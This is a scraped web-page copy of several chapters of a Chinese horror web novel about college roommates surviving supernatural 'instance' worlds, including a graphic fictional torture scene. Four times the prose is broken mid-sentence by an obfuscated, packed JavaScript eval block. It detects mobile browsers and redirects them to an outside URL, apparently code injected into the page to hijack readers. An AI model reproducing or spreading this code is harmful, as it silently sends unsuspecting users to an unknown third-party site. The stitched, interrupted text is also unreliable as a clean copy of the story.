;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13593673|143260||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 成了三角形,以程映雪为首像火箭筒一般朝着舞台推进。 虽然身上仍有挂彩,但这回的效率高了不少。三人熟练度逐渐提高,很快就靠近了正在舞台上悠哉悠哉哼着小曲儿的校长。 见三人到来,校长并不以为意,挑眉等着三人恳求自己给她们发放毕业证书。 这三个学生光是参加个毕业典礼都能把自己弄得这么狼狈,看来今年的毕业生质量不是很好啊。 他正百无聊赖地敲着毕业证书的硬壳,谁知对面三名女生突然队形一变,伸手合力将他扛了起来。 ……扛了起来! 自打校长七岁以后,他就再也没有感受过这种特殊的悬空感,因此他登时一愣,眨了好几下眼才确认了自己当下的情况。 他正被三人当做攻城门的圆木桩,在舞台上不断旋转! 舒怀瑾满头大汗,对着四周的碎尸大吼:“不准打啊!都不准打!这可是校长,打了小心永无毕业之日!” 不得不说,这一招的确有用。先前跟叠罗汉似的往上扑的碎尸们此时都畏手畏脚,不敢轻举妄动。毕竟虽然以他们现在的状态,无法拿到毕业证书,但尸活一世,靠的就是一个毕业的指望。 万一,之后他们就有机会可以毕业了呢?这谁也说不准。 舒怀瑾抹了一把汗。江贮月独身一人引走了那么多碎尸还没有回来,要是她们一碰到这个毕业证书,三人就通关回到了宿舍,只留江贮月一个人在这里,恐怕凶多吉少。 因此,最保险的方法就是直接把校长打包控制起来。 嗯……怎么不是呢? 三人见没有碎尸再敢上前,旋转校长的速度也降了下来。 校长被转得大脑宕机,干呕了好一会儿才缓过神来。见三人竟敢欺上瞒下,当即怒喝一声。 “你们不想毕业了吗?快把我放下来!” 他可是活生生的免死金牌,三人哪里敢把他放下来,权当没听见这句话,该干啥还是干啥。 他气不过,又扭头看向形状各异的碎尸们:“你们也就干站在这吗?快把她们几个掰开啊!” 没碎尸理他,正如他平时忽视这些碎尸们一样。 校长冷哼一声:“谁帮我把这三个人解决了,我破格给他颁毕业证书!” 此话一出,碎尸们都骚动了起来,个个摩拳擦掌、跃跃欲试。 一位手脚全乎的碎尸率先向三人发动了攻击,可惜一拳打在了被三人当做盾牌的校长肚子上,校长差点“哇”地一声吐出一口老血。 他有些尴尬地和校长作了个揖,收拾收拾,瞄准了位置,又准备进攻第二次。 就在他的拳头即将抵达校长面部时,一只脚如闪电一般踹飞了他的手腕,随即稳稳落地。 校长仿佛看到了救星,大喜过望:“对对对,这个身手好!快来帮我!我给你毕业证书!” “哈?” 来人微瞪双目,正是去而复返的江贮月。 51. 表里世界14 江贮月在校园里绕了一大圈,把几乎所有碎尸都绕进了校园景观湖里才赶了回来。谁知一进门就见到了这幅场景。 她指了指校长手上紧紧攥着的毕业证书,看向另外三人:“怎么还不拿?” 舒怀瑾微笑:“这不是在等你吗?” 校长再怎样晕头转向,此时也反应过来江贮月和舒怀瑾三人是一伙儿的了,当即开始怒骂:“现在的学生,一点都不尊师重道!快点把我放下来,否则我一定不会给你们毕业证书的!” “不好意思,校长,得罪了。但要是您真的能决定给不给我们毕业证书,恐怕您不会是现在这个态度吧。”舒怀瑾小心翼翼地把脸气得通红的校长手指一根根掰开,一沓毕业证书随即掉落在了地板上,“咱们快拿吧。” 另外三人点头。四人一齐拿起地上的毕业证书,周身便逐渐泛起白色的光芒。 她们眼前一黑,就此消失在了原地。 …… 再度睁眼之时,已经是清晨七点了。阳光从没完全拉上的窗帘缝中钻入室内,浅浅映出室内一片窗明几净。 程映雪将闹钟按掉,打了个哈欠便从床上爬下来。 换衣服、扎头发、洗脸、刷牙。今天有早八,她得快点儿去食堂买早餐才行。 舍友们也从床上陆陆续续下来了,哈欠连天地洗漱着。兴许是昨日睡得有些晚的缘故,也可能是做了不少噩梦的原因,四人都有些轻微的疲惫,懒洋洋的。 程映雪用清水拍拍自己的脸颊,试图让自己更清醒一些。待会儿要上的课可不是水课,她必须打起精神好好听讲。 收拾好书包、拿上锃亮的钥匙、关门、下楼。今天中午,她们宿舍的新成员即将到来,她最好先给舍友留下一个好印象——就先从带好房门钥匙开始。 如往常一般,程映雪上了一上午的课。好在虽然内容多,但老师很负责,将每一个知识点都讲明白了。下课后,她前往学校里堪评全国高校第一难吃、但却是她最顺路的食堂吃午饭,居然吃到了味道还不错的餐点。吃饱喝足,她又骑上自己那辆有些破但很好骑的自行车,吱吱呀呀地往宿舍赶去。 外面的阳光是那样的好,她心中涌上浓烈的幸福感,祈盼着能够永远过着像这样平和的生活,永远留存在这样美好的时光里。 她抵达宿舍外,甫一推开门,两道陌生而熟悉的身影映入她的眼帘。 “映雪,你回来啦。”舒怀瑾上前拉起她的手,引至新来的两名舍友面前,“这是姜宁和阮鑫玲,我们之前见过的。” 程映雪露出腼腆但友好的微笑,向新成员回应着点点头。看着她们的笑容,程映雪心中却莫名涌上一阵浓雾,摸不清也看不透。 今天不过是千百个上学日常中平凡的一天,虽然忙碌却充实,拥有令她贪恋的平静与和谐。宿舍里要来新成员也是辅导员一个月前就通知过了的,她早就知道了。所以,这种突如其来的迷蒙感到底是从何而来的呢? 她将包放下,摸出了宿舍房门钥匙,随手放在了桌面上。阳光照在钥匙上,反射出细碎耀眼的光芒。 姜宁撇了一眼这边,笑道:“诶,对了。刚刚我们找宿管阿姨要房间钥匙,阿姨说一共六枚钥匙都在你们这儿。能麻烦把剩下两枚钥匙给我们吗?谢谢啦。” 在说到“六枚钥匙”时,姜宁明显地加重了咬字。 “哦对,在我这儿呢,我给你们找找哈。”舒怀瑾拉开了抽屉,正翻找着钥匙,身形却忽然一顿。 程映雪看着她的动作,脑袋中嗡鸣一声,突然反应过来了些什么—— 只有副本世界中的宿舍,才有六张床铺和六枚钥匙! 她想起来了。从前安宁的生活早已经成为了破碎的泡影,她现在根本不是在校园生活里,她还在那葬送无数希望的副本之中! 领悟到这一点的同时,她目之所及的一切都在转瞬间布满了狰狞的眼睛。眼睛发出不甘的怒吼声,如被卷入碎纸机一般崩塌碎裂,白色的光芒则从裂缝中逃逸,将她笼罩于羽翼之下。 视野再度茫茫一片至消失之前,程映雪仿佛见到姜宁和阮鑫玲站在阴影之中,朝她们无奈地笑着,眼中却逐渐盈满了泪水。 阴影中的二人挥了挥手。 “再见。” 这句话像一阵风,消散在了她的耳畔。与此同时,她的意识也重归于混沌之中。 …… “恭喜通关,正在结算奖励……” “奖励结算成功。全员存活率100%,正确选择率95%,背景还原率90%,获得奖励【记忆回溯卡】×1。检测到副本内物品,已存储至背包。” “下一题开启时间:三天后。” 回到宿舍的四人如溺水一般从睡梦中惊醒,仿佛上岸的鱼一般几乎要窒息地大口喘息。 好险,她们拿到毕业证书后就以为已经通关,陡然从危险境地中脱离,防备心就大大降低,却没想到又落入了副本的陷阱之中。要是没有分辨出最后的那个幻境的话,她们就要永远留在那个纸扎的美梦之中了。 想起刚刚的遭遇,四人心惊副本险恶之余,不禁回忆起最后姜宁和阮鑫玲的神色。 那目光太过凄凉,眼底藏了太多复杂的情感。 仔细想来,她们能够逃离幻境,其实是依靠着姜、阮二人关于钥匙的提示,才能发现不对劲的。但是姜、阮二人并未和她们一起经历过这个副本,是如何知道可以通过“六枚钥匙”来提示她们的? 况且,假如二人是幻象,身为副本造物为何会帮助她们?倘若二人是真人,又是为何会出现在她们的幻境之中,而最后又没有离开呢? 这一切都是巧合吗?还是…… 邓溪明距离医务室最近,当即打开了医务室的门。 里面依旧没有任何有人活动的痕迹。 加之二人已经良久未曾出现在她们面前的事实,她们心中生出一个可怕却不敢相信的猜想—— 姜宁和阮鑫玲,难道已经不在人世了吗? 窗外的夜色愈发浓重,原本温馨的宿舍中逐渐弥漫起死亡的血色。 …… “贮月 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13593674|143260||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,我记得你之前在副本里和我们说,有事情要告诉我们。是什么事?” 四人调整好心态后,才忽然想起这么一茬,连忙又聚在了一块儿。 江贮月有些紧张地环视周围,随后依次附在三个人耳边耳语了一阵。 每个人听到她的话后都张大了嘴,但又在她的警告下什么都没说出来。 “我怕用问卷给的通讯功能说话会被监听。”江贮月摊手,“只能这样讲了。” 舒怀瑾眼睛发光地指指电脑:“那我们要不要现在就试试?” 谁懂啊,她现在真的特别激动。怪不得江贮月一身正气格外浓,身手还那么好,原来她家是警察世家! 据江贮月所说,她有一名正在警校上学的堂姐,同样遭遇了问卷降临的怪象。但奇怪的是,堂姐的学校那边似乎“信号”不太好,问卷对于与外界信息交流的屏蔽效果时有时无。 因此,在部分警校学生的不断尝试后,问卷一事已经成功上报给了高层,并正作为特级紧急案件处理中。 江贮月堂姐作为最初发现异样并上报的学生之一,主动请缨担任前线调查员,联合同样身为警察的家人们为国家传递了数份情报。 但正所谓人多力量大,不同地区的情况之间可能具有差异性,多收集样本才能更好进行下一步研究。因而江贮月堂姐思来想去,决定将有一定基本功底的江贮月发展为A大这一块的初级调查员。 但或许问卷也已经察觉到了他们的行动,竟骤然增加了其他学校的信号屏蔽力度,因而堂姐在她们四人进副本前几个小时才联系到江贮月。 据她所说,虽然问卷这件事情简直是匪夷所思,但在国家的不懈努力下,目前任务进度已经有所推进。上次她们四人偶然刷出来的举报链接,就是警方的产物。只要每举报成功一次,问卷效果就会发生剧烈的波动。 所以,她们四人现在的任务,便是辅助警方,利用她们的所见所闻尽力填写链接,或者将证据照片找机会发送给江贮月堂姐。 程映雪托腮:“可是,哪里来的图片证据呢?” 邓溪明压低了声音:“之前怀瑾不是拍了照片吗?还有,刚刚通关奖励不是给我们发了记忆回溯卡吗?说不定能用上。” 她从背包中拿出记忆回溯卡,和同伴们一起细细读着卡片背后的说明。 【记忆回溯卡】 你想回忆怎样的过去?是痛苦,亦或是欢乐?不管是什么样的回忆,相信你一定能从中发现曾被忽略的细节。 【使用方法】双手合十,将卡片放于掌缝中,闭眼,心中默想回忆发生的时间点。 【作用效果】将对应时间的回忆投影出来,限时30s,每三日可使用一次。 【使用权限】仅限持有者使用。 记忆回溯卡一共有四张,用来拍照虽然有些奢侈,但拿一张来为国家做点贡献还是很值得的,更别提这个贡献还关系到她们自己的未来。 程映雪打开电脑:“要举报学校中出现的传销等违法行为……所以我们看哪个片段?” 52. 尸山血海 舒怀瑾思索片刻:“大礼堂里校长和碎尸共处一室那块吧。” 里世界的礼堂和现实世界里的礼堂一模一样。金碧辉煌的礼堂里七倒八歪那么多具碎尸,外加一个西装革履的校长,那场面还是很壮观的,任谁看了都得说一句传销现场。 另三人讨论一番,均是同意。 舒怀瑾按照使用方法将卡片放好,便默念着当时的时间。不过片刻,卡片就从她掌心飞出,悬浮在一面白墙前。 一束明亮的光线从卡片中投射出来,映在光洁的墙面上。投影的效果让人如身临其境。当时礼堂中的情形再度清晰地显现在了四人面前。 四人拿手机对着投影一顿拍,出来的照片居然就像现场直击一般,立体感十足,连碎尸脸上的青筋有几根都能看得一清二楚,几乎能以假乱真。 “诶,你们看这。”程映雪指着角落里的一个身影,“这不是方淮吗?” 她们定睛一看,果然发现方淮坐在地上的身影,眼神阴鸷地看向舞台中央的校长。 “我怎么感觉她整个人气质都变了。”江贮月讶然,“之前还是亦正亦邪的,现在感觉浑身散发黑气啊。” 邓溪明叹气:“如果之前怀瑾看到的记忆是真的的话,她拿回记忆之后有怨气应该也是正常的吧。” 记忆回溯卡能够回溯的时间并不长,因而四人并没能看到后续,光束就消失了。空中的卡片也逐渐褪色,化作光点而散。 幸而她们已经将照片都拍全了。 证据照片已经到手,接下来的难题就是如何打开举报链接了。 她们学校的问卷屏蔽信号尤其强,因而即使四人每分钟都刷新十次页面,也难得能见到一次成功打开的界面。哪怕在数十次尝试后碰巧打开了,没过一分钟,网页也会自动关闭。 四人使出了抢课时的手速,也还是没法在网页关闭前填上问卷。天色渐晚,她们只好从长再计议。 “没办法了,只能再试试能不能把照片发给我堂姐了。”江贮月打开手机,选中礼堂内的照片,发送。 光标转了好多圈,最后转化为一个红色感叹号。 果然被屏蔽了。 “没事,之后再多试试吧。”舒怀瑾见大家在原有的疲惫上多加了一层沮丧,不免柔声安抚,“咱们过这个副本也很累了,先休息吧。” 勉强扬起的嘴角挂在浓浓的黑眼圈之下,这个夜晚将在沉默中度过。 …… 与此同时,副本里世界内。 原本整洁的礼堂此时已经惨烈如人间地狱。漫天的飞灰飘飘扬扬,最终落在焦炭一般的残垣断壁之上。 碎尸们再也没有逃离的机会了。他们已经连着礼堂一起,化作了万千余烬中的一捧。偶尔有几根残余的断肢仍不甘地弹动着几乎碳化的手指,却被来人一脚踩碎在尘埃里。 方淮轻轻拍去落在肩上的灰尘,悠然自得地在已然露天的礼堂里缓缓踱步。天幕与废墟之间,只有她的脚步声像个幽灵一样,不断回响。 暗紫的天空上是高高悬起的满月,皎洁的光辉洒在泥泞一片的校园中,却在礼堂前止住了步伐。 这里是绝对的阴影,不容许任何光明涉足。 她将礼堂破损的大门象征性地阖上,踩灭最后一点火星,漫步走向舞台。 舞台已经破得像一块老旧的案板,四个全身上下被绷带紧紧缠绕的人如鱼肉一般码在这块案板上,正在积尘中无声地颤抖着。洁白的绷带被不断渗出的组织液染就淡黄的纹路,隐隐透出绷带下狰狞的肉身。 “瞧,今晚的月光多美。” 她心情愉悦地坐在了四个绷带人身边,手指轻抚上最右侧人的眼睛。 “差点忘了,你们现在看不见,真可怜。” “世界一片黑暗,什么都做不了的感觉好吗?” 她将身侧人眼部的绷带乍然撕开,指尖贴上对方因恐惧而瞪大的眼睑。 “别怕,我已经将学校清空了。反正你们四个也不会死,所以从今天开始,你们将会永永远远地留在这儿。我有空了,就来陪你们玩玩,好不好?” 自然,没人回答她,也没人能回答她。方淮只好眯了眯眼:“真好,你们都是自愿的。” “校长,院长,辅导员,还有你,关系户同学。” “我们一个一个慢慢聊吧。” 她拍了拍手,夜空如落泪般垂下数千条黑色的绳环。 她提起其中最为肥胖的那道身躯,将他的脖颈套进绳环中。双手狠命一拉,绳环就紧紧箍在他的脖子上。 窒息的感觉让绷带包裹中的人不住扭动着,像一条蛆。 “说实话,在女生宿舍外抓到你的时候,我一点儿都不意外。”方淮静静看着他挣扎,眸中是一潭死水般的黑,“哪怕是变成鬼怪了,你都改不了你那喜欢跟踪、偷拍和骚扰的烂心烂肺。” 她的掌心燃起一团火焰,漫不经心地朝某个方向一丢:“痒的话其实有很多其他办法可以止痒,不是吗?” 火焰落在绷带人身上,从躯体下方扩散开来,将他几乎就要长好的肌肤重新灼烧溃烂。 在凄厉的惨叫声中,绳索带着火人疾速升到高空之中。火焰一点点地吞噬着人影,直到蔓延至绳环,将绳索彻底烧断。 浑身是火的人霎时从高空坠下,落地成了一滩着火的稀泥,四散溅射。 方淮目不转睛地看着肉屑缓缓重新聚拢为人形,脸颊上的酒窝愈发深邃。 “别担心,我们还有很多时间。” …… “啊啊!时间怎么过得那么快!” 上午十一点,舒怀瑾才因为饿得受不了了而从床上弹起,像一阵旋风一样席卷了洗手台和智能柜。 经过一晚上的休息,她的精神值已经基本恢复,身上的伤也在医务室的处理下基本痊愈了。 阳光、美食、手机,单看这三样简直是完美的假日生活。只是可惜问卷降临后她们根本没有自由可言,否则她现在估计早就回到家中美美享受了。 想起家人,舒怀瑾心中不免泛起惆怅。失去联系这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13593675|143260||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么久了,也不知道家人该急成什么样子。 和家人的聊天界面上,满屏都是她发出信息的红色感叹号。这么多天过去了,一点儿奇迹都没出现。 她搅弄着杯中的饮料,看着晶莹的冰块在液体中浮沉,心情也跟着上下起伏。 在旁边开着电脑上传副本信息的程映雪撇了一眼情绪明显有些低迷的舒怀瑾,正思考着该怎样安慰她,却被电脑上弹出来的信息吸引了目光。 “我们才出来的那个副本,被人毁灭了?” 此言一出,舒怀瑾也顾不上伤感了,立刻和另外两人一起跑到她旁边:“什么?” 对话框中,群里的一名同学正情绪激昂地描述着她的经历—— “我们当时还在教室里上课,还有一分钟就要精神值低于10了,突然听见外面‘嘭’的一声响,好像有什么东西爆炸了,然后天就全黑了!” “那场景简直和世界末日一样,地面上不知道从哪里涌来好多血,像海一样把低楼层都给淹了。” “我和几个同学一起跑到了顶楼,结果地面开始颤抖,和地震一样,还刮起了大风。” “我们直接被从顶楼刮下,摔进了血海里,好不容易才抓住一捆不知道什么东西,又被一个浪打进血里了。原本以为我们都要死了,结果不知道怎么回事,我们就突然通关了!” “我天!现在想起来当时的场景还心有余悸。你们之前过这个副本有经历过这个吗?怎么没听见人说过,真是太恐怖了。” 四人面面相觑。 邓溪明:“是我们出来得太早了所以错过了什么隐藏剧情吗?” 程映雪:“但是这剧情也太危险了吧?亏得这个同学命好,不然这情况放谁身上谁死啊。” 群里陆陆续续有同学回应。 同学A:“你这听起来副本情况有点不对劲啊?我听说这个副本虽然变态,但山崩地裂还是不至于的,毕竟就是一个校园副本啊。” 同学B:“我上上个副本是这个,一出来还没来得及休息就进下一个副本了,应该是把剧情都过了吧?我们当时天气一直很好啊,没有这种情况发生。” 同学C:“我作证……我刚从那个副本里死里逃生,真的差点就回不来了。” 聊天记录很快就99+了,四人看得目不暇接,最终得出一个板上钉钉的结论——她们这次经历的副本发生了某种异变。 邓溪明忽然想起记忆回溯中方淮的眼神,心中浮现出一个怪诞的猜想。 “是方淮干的吗?” 难道她就是问卷的幕后黑手吗?就像小说里写的那种,恢复记忆以后力量也全部回归的大反派? 但是,谁家反派会偏要把自己的记忆和力量封住的呢? 四人后怕之余均是百思不得其解。 “下次进副本还会见到她吗?”程映雪有些担忧。 假如方淮真是幕后boss的话,她们四个看过方淮曾经惨状的人,被灭口的可能性恐怕不小。 程映雪打了个寒颤。 53. 暗宅珠影1 清晨的阳光透过纸窗柔和地照在一张古朴的雕花绣床之上。感知到阳光的来访,床上的舒怀瑾缓缓睁开了眼睛。 才刚醒,她就发现了自己身上的异样。原本舒适贴身的睡衣竟变成了一套棉布织就的明制古装,上为深蓝宽袖背子,下着浅灰八幅裙,料子略有些起球,但整体而言端庄大方。 舒怀瑾隐约记得问卷抛出了一个有关家庭情况的问题,她还没来得及回答,就眼前一黑,失去了意识。 看这情况,她已经身处于副本之中了,副本背景还设定在古代。 她支起身子四下张望一番,房间内的家具少得可怜,窗户全用发黄的纸糊住,墙角还布满了蜘蛛网,端的是一派清贫的模样。舍友们的身影是半点没见着,舒怀瑾不禁有些心慌,勾上一双鹅黄的鞋子就下了地。 下床动作倒是流利,所幸是身体还能自由掌控,没有变成五合一合体人,更没有变成小白鼠。只是……这视角高度似乎出了些问题。 她三步并作两步往房内破旧的梳妆台前一凑,面容堪堪在黄铜镜的下端边缘处印照出来。双颊略有些婴儿肥,葡萄般的大眼中是一片茫然之色,俨然是一副十岁左右的小女孩模样。 当然,这都不是重点,重点是舒怀瑾根本不认识镜子里的这个小女孩。 她这是像快穿文里一样,魂穿到了这个小女孩身上吗? 舍友们呢?她们此时是不是也以某个身份存在于这个副本之中? 舒怀瑾暗念一声“背包”。好在背包里的东西依旧能正常使用,她还能有些防身的手段。副本的通关条件仍没有播报出来,但按照往常经历而言,下一步应该有一个角色推门而入,然后带来一份初级任务。 还没等到那扇灰扑扑的门被推开,机械音与一个巨大的弹窗却是先行来到。 “世界加载完毕,开启单人副本《暗宅珠影》。” 这是单人副本。舒怀瑾深吸一口气,缓缓滑动视野中的弹窗。 【因家道中落,你跟随爹娘从京城搬至偏远郊区,暂住在王氏姥姥外租的宅子里。新迁之地于你而言奇趣盎然,然你的爹娘因疲于生计,无暇顾及你的心绪与欲求。故而,你唯有孤身前往,探寻这未知的天地。】 【时光流逝,你逐渐发现这座宅子中似乎存在一些不可接触的秘密……】 【通关条件:存活时间超过五天。】 一滴冷汗从舒怀瑾的额间滑下。和以往的解密副本不相同,这次她独自面对的,是危险程度大大增加的生存副本。 只是这副本背景似乎有些熟悉感。她还没来得及抓住纷乱思绪的尾巴,房门就“吱呀”一声缓缓打开。 一名面容有些严肃的古典女子逆着光垂首看向此时身为小豆丁的舒怀瑾,启唇道:“怀瑾,今日爹娘均有要事在身,黄昏后方可归家。家中橱柜里已留有你今日的餐点,你在家好生照顾自己,莫要乱跑。” 舒怀瑾乖巧点头:“好的,娘亲。” 实际上她也不敢乱跑。这可是生存副本,指不定什么时候就会碰到一个致命守则,毫无后援的她估计当场就得死翘翘。 舒母宽慰地点了点头,抚抚舒怀瑾的顶发,转身便与一身穷秀才打扮的舒父一同离去。 外面天光大好,舒怀瑾这才谨慎地从房间内踏出一步,没发现什么异常才继续向外走去。 绕过白底粉牡丹刺绣漆艺屏风,倚着门框环顾四周,舒家新租的屋子竟是一座四合院的正院。这四合院虽然看起来有些破旧,色调也略显暗沉,但胜在院子十分宽敞,花园、耳房、上阁楼等应有尽有,造景审美也别具一番风格,称得上是一副大府气派模样。 这样好的院子,租金却低廉到足以让资金紧缺的舒家住进来……舒怀瑾想到副本背景介绍,抿了抿干涩的双唇。 这恐怕是一座凶宅。 在没有守则出现之前,她最好还是先在屋子里转转比较好。 舒怀瑾才刚将院门关上,转身往屋内走去,下一秒身体却不受控制地回过身来,重新打开了大门。 她就这样眼睁睁地看着自己哼着歌、蹦蹦跳跳地径直朝大门外走去。 【你是一名充满探索欲的小女孩,宅在家里可不是你的一贯作风哦~】 不是,这副本还强制走剧情的吗?这种事情不要啊! 到了大门外,“充满探索欲”的舒怀瑾依旧没有获得身体的控制权,脚下仍然迈着欢快的步伐沿着门口的大路前进。 周围不愧是郊区,地广人稀,一眼望去连另一座院子的影子都看不着。连片枯败的狗尾草折在土沙混积的地上,一直蔓延到不远处一方幽深的树林中。 按照现下天气与植物状态而言,此时不是初春就是初冬。但视野中的树林虽然树叶枯黄干瘪,却全部挂在树上,地上竟没有一片落叶。此外,丛丛交叠的树枝以一种扭曲的姿态生长着,乍眼一看仿佛鬼手笼罩于顶。 总之,眼前的树林就差把“我不对劲”写在脸上了。 舒怀瑾一步一个脚印地迈进了树林之中,但心中反而安定了不少。 她现在连背包里的东西都拿不出来,意识空间里叫舍友也没听到回应,身体更是没法控制。副本里的东西要杀她简直是轻而易举,所以她不必为不可改变的事情烦忧。如果副本只是为了带她走个剧情,没有要杀她的意思,那她更没必要多想。 两相结合,得出生死有命、富贵在天的结论,她干脆当上了甩手掌柜。 树林之中愈发阴森起来,残余的瘴气自上而下丝丝缕缕萦绕在舒怀瑾周围,散发着不易察觉的霉味。她一脚踏上一块松软的地里,还没来得及看看这硬邦邦的地面哪儿来的软触感,身旁的树影里就闪过一道白色的身影。 她下意识转头向那道身影看去,什么都没看见,才后知后觉地发现自己对身体的掌控权恢复了。 移液枪瞬间出现在她的掌心,光凝聚在她纯黑的眸子中。 不过片刻,惨白身影再度于她余光中从背后的树林中滑过,带起的风抚过树顶,沙沙作响。 虽然现在的场景看起来很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13593676|143260||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 像在闹鬼,但细听就能发现,树叶摩擦声之下,还有树枝弯折和麻绳摩擦的声音。而白影消失之时,还有一道轻微的落地声响起。 这多半不是鬼,而是有人在装神弄鬼。 “出来吧,我看见你了。” 舒怀瑾目光锁定白影消失处最近的灌木丛,静待那人自己出来。 空气凝滞了十多秒,一道小小的身影才从灌木丛中钻出。 身上裹了一层长长被单的小女孩只露出了一张脏兮兮的小脸,撇着嘴不情不愿地向舒怀瑾走了几步。 “你别拿那个奇奇怪怪的东西指着我!”小女孩一脸防备,“我好心提醒你,没想到你狗咬吕洞宾,不识好人心……” 说到最后,她声音越来越小,看起来倒是有些心虚。 舒怀瑾疑惑:“你提醒我什么了?” 小女孩弱弱出声:“你脚下啊。” 她俯下身子,从被单里伸出两只同样脏兮兮的小手,在舒怀瑾脚下周围扒拉了几下。 顺着她的动作低头一看,舒怀瑾这才发现她踩在了一丛蘑菇上,脚边则是逐渐显露出来的圆弧形泥缝,缝边缘长满了蘑菇。 小女孩将蘑菇一把揪掉,轻声道:“当心,这是一口古井。” 闻言,舒怀瑾立即踏出了那个潮湿的泥圈,眼见着小女孩抹掉圆圈中央的泥土,一个刻画着古朴图案的木制井盖显露出来。 并不算重、甚至还有些腐朽的井盖被小女孩一手抬起,挪到了一旁。舒怀瑾微微探头,只见那口井里是深不见底的幽黑,让人不自觉地被其吸引,想要一探究竟。 小女孩将路边的一颗石子随意丢进了井中,随后伏在井边侧耳倾听,并示意舒怀瑾一同趴下。 舒怀瑾的身体又开始自主行动,学着小女孩的模样聆听着。 井底深处传来一阵阵模糊的低语,像是风穿过荒野的叹息,又似是遥远世界的呼唤。过了许久,那颗石子才坠入水中,发出一声微弱的“扑通”。 “听黄小姐说,这口井深不见底。如果掉进去,等摔到底再抬头看时,甚至能在中午看见漫天繁星。”* 小女孩的轻语传进舒怀瑾的耳中,却让舒怀瑾心头一颤。 这句话她曾听过的。 她终于知道这个副本的熟悉感从何而来了。 偏远的郊区,意外低价的房子,爱探险的小女孩,忙碌的父母和森林中的水井…… 这个副本根本就是古代版本的《鬼妈妈》啊! 她曾经看过这部由小说改编而来的定格动画电影。在这部哥特风的电影中,主角卡洛琳房间内有一扇被封住的小门,在夜晚中老鼠的引领下可以通往平行世界。在平行世界里,有一位对她百依百顺的“妈妈”,愿意满足她的任何需求,但代价是将她的眼睛缝上纽扣,让她的灵魂永远留下来。 记忆与现实交叠,井盖上缓缓长出成字的青苔。 【生存守则】 一、不要让她从水井里爬出来。 水井中传来了轻微的声响。 54. 暗宅珠影2 古井之中的响动听起来像是有什么尖锐的东西在不断地抓挠着井壁,听得舒怀瑾汗毛倒立。 她眼疾手快地抓起旁边的井盖,将井口一把盖上,又将泥土重新堆回井盖之上。怕这井盖不够重,她又特意捡了几块体积不小的石头压了上去。 小女孩被她迅猛的动作唬了一跳:“你在干嘛?” “这口井这么深,太危险了。”舒怀瑾缓缓吐出一口长气,“一直开着的话要是你脚滑跌下去了可怎么办?” 不出意外的话,守则里的“她”指的应该就是所谓的鬼妈妈。 按照原著中的设定,这口井和房间中的那扇小门一样,是鬼妈妈所处的平行世界和现实世界的连接通道。 但鬼妈妈本体并不能直接穿过通道,只有她所构建的物品和她的部分肢体能够抵达现实世界,这也是原著中她最终没能成功吞噬主角灵魂的原因之一。 但鉴于这里是副本,和原著可能不尽相同,舒怀瑾还是得提防鬼妈妈本体来到现实世界的可能性。 腐朽的古井对鬼妈妈而言不堪一击,她必须尽快找到封死古井的方法才行。 原文中,有一只黑猫懂得如何对付鬼妈妈。但它只能在平行世界中开口说话,对于现在的舒怀瑾来说是远水救不了近火。要想封井,还得另找帮手。 对了,黄小姐。 她看向身旁一脸古怪神色的小女孩,问道:“诶,你刚刚说了黄小姐,黄小姐是谁?” 小女孩上下打量了她一番,话匣子就打开了:“我说怎么没见过你,我猜你就是新搬来那家人的小孩吧?” “黄小姐就住咱们四合院里西厢房那儿,和她远房表姐一块儿租的。她们都在镇上戏班子里当角儿,听过许多故事,消息灵通得很。” 提了提自己身上有些脏污的被单,小女孩神秘兮兮地靠近了舒怀瑾,耳语道:“我听人说,她们还会算命嘞!” 舒怀瑾一面听着,一边盯着那口井。现下虽然井盖没有异动,但直觉告诉她此处不是久留之地。于是她亲热地挽起小女孩的手,拉着她往来时的方向走去,面上显出一派惊奇之色。 “真的?这么厉害?我和你交朋友,你再多给我讲讲吧。” 小女孩一听就起了劲儿,嘴巴里“吧啦吧啦”的像倒豆儿似的,一股脑儿将自己知道的全给舒怀瑾讲了。 托她的福,舒怀瑾将这四合院里的大小灵通消息都听了个遍。 